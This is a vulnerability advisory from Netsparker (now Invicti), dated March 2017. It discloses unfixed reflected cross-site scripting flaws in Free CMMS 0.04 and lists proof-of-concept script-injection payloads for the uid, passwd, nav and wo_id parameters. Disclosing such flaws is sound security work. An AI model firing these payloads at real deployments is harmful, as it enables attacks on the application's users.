Multiple Reflected XSS Vulnerabilities in Free CMMS 0.04

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in Free CMMS 0.04
Affected Software: Free CMMS 0.04
Affected Versions: 0.04
Vendor Homepage: https://sourceforge.net/projects/free-cmms/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-020

Technical Details

Proof of Concept URL for XSSes vulnerabilities in Free CMMS 0.04;

URL: /free-cmms 0.04/auth.php
Parameter Name: uid
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0007F9)</scRipt>

URL: /free-cmms 0.04/auth.php
Parameter Name: passwd
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000873)</scRipt>

URL: /free-cmms 0.04/index.php?nav=x'" onmouseover=alert(9)
Parameter Name: nav
Parameter Type: GET
Attack Pattern: x%27%22+onmouseover%3dalert(9)+

URL: /free-cmms 0.04/work_order.php?wo_id='"--></style></scRipt><scRipt>alert(0x00150F)</scRipt>
Parameter Name: wo_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00150F)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

08 March 2017 – Advisory released

Solution

No solution is available at the time of publishing this advisory.

Credits & Authors

This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.